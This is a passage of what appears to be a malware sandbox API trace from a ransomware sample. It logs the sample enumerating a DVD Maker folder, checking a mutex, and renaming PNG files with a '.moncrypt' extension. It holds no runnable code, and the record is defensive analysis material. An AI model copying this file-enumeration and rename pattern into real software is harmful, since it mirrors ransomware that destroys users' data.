CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.665] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.665] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.665] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.665] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.666] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.666] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.666] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.666] GlobalLock (hMem=0x440004) returned 0x550170 [0058.666] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.666] GlobalUnlock (hMem=0x440004) returned 0 [0058.666] GlobalLock (hMem=0x440004) returned 0x550170 [0058.667] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.667] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.667] GlobalUnlock (hMem=0x440004) returned 0 [0058.667] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.667] GlobalUnlock (hMem=0x44000c) returned 0 [0058.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x442367c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x442367c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.667] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.667] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.667] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.667] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.667] GlobalUnlock (hMem=0x44000c) returned 0 [0058.667] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.667] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.667] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.667] GlobalUnlock (hMem=0x44000c) returned 0 [0058.667] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.667] GlobalUnlock (hMem=0x440004) returned 0 [0058.667] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.667] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x442367c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x442367c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.667] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.667] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.667] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.667] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.668] GlobalUnlock (hMem=0x440004) returned 0 [0058.668] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.668] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.668] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.668] GlobalUnlock (hMem=0x440004) returned 0 [0058.668] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.668] GlobalUnlock (hMem=0x44000c) returned 0 [0058.668] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.668] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.668] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.668] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.668] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.668] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.668] GlobalUnlock (hMem=0x44000c) returned 0 [0058.668] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.668] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.668] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.668] GlobalUnlock (hMem=0x44000c) returned 0 [0058.668] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.668] GlobalUnlock (hMem=0x440004) returned 0 [0058.668] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.668] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0058.668] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.668] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.668] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.668] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.668] GlobalUnlock (hMem=0x440004) returned 0 [0058.669] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.669] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.669] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.669] GlobalUnlock (hMem=0x440004) returned 0 [0058.669] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.669] GlobalUnlock (hMem=0x44000c) returned 0 [0058.669] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.669] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.669] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.669] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.669] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.669] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.669] GlobalUnlock (hMem=0x44000c) returned 0 [0058.669] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.669] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.669] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.669] GlobalUnlock (hMem=0x44000c) returned 0 [0058.669] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.669] GlobalUnlock (hMem=0x440004) returned 0 [0058.669] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.669] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0058.669] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.669] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.669] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.669] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.669] GlobalUnlock (hMem=0x440004) returned 0 [0058.669] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.669] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.670] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.670] GlobalUnlock (hMem=0x440004) returned 0 [0058.670] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.670] GlobalUnlock (hMem=0x44000c) returned 0 [0058.670] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.670] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0058.670] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.670] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.670] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.670] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.670] GlobalUnlock (hMem=0x44000c) returned 0 [0058.670] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.670] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.670] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.670] GlobalUnlock (hMem=0x44000c) returned 0 [0058.670] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.670] GlobalUnlock (hMem=0x440004) returned 0 [0058.670] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.670] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.670] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.670] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.670] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.670] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.670] GlobalUnlock (hMem=0x440004) returned 0 [0058.670] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.670] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.670] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.670] GlobalUnlock (hMem=0x440004) returned 0 [0058.671] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.671] GlobalUnlock (hMem=0x44000c) returned 0 [0058.671] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.671] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.671] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.671] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.671] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.671] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.671] GlobalUnlock (hMem=0x44000c) returned 0 [0058.671] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.671] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.671] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.671] GlobalUnlock (hMem=0x44000c) returned 0 [0058.671] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.671] GlobalUnlock (hMem=0x440004) returned 0 [0058.671] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.671] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.671] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.671] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.671] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.671] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.671] GlobalUnlock (hMem=0x440004) returned 0 [0058.671] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.671] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.671] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.671] GlobalUnlock (hMem=0x440004) returned 0 [0058.671] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.671] GlobalUnlock (hMem=0x44000c) returned 0 [0058.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.672] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.672] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.672] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.672] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.672] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.672] GlobalUnlock (hMem=0x44000c) returned 0 [0058.672] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.672] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.672] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.672] GlobalUnlock (hMem=0x44000c) returned 0 [0058.672] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.672] GlobalUnlock (hMem=0x440004) returned 0 [0058.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.672] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.672] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.672] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.672] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.672] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.672] GlobalUnlock (hMem=0x440004) returned 0 [0058.672] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.672] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.672] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.672] GlobalUnlock (hMem=0x440004) returned 0 [0058.672] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.672] GlobalUnlock (hMem=0x44000c) returned 0 [0058.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.673] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.673] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.673] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.673] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.673] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.673] GlobalUnlock (hMem=0x44000c) returned 0 [0058.673] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.673] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.673] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.673] GlobalUnlock (hMem=0x44000c) returned 0 [0058.673] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.673] GlobalUnlock (hMem=0x440004) returned 0 [0058.673] OpenMutexA (dwDesiredAccess=0x1f0001, 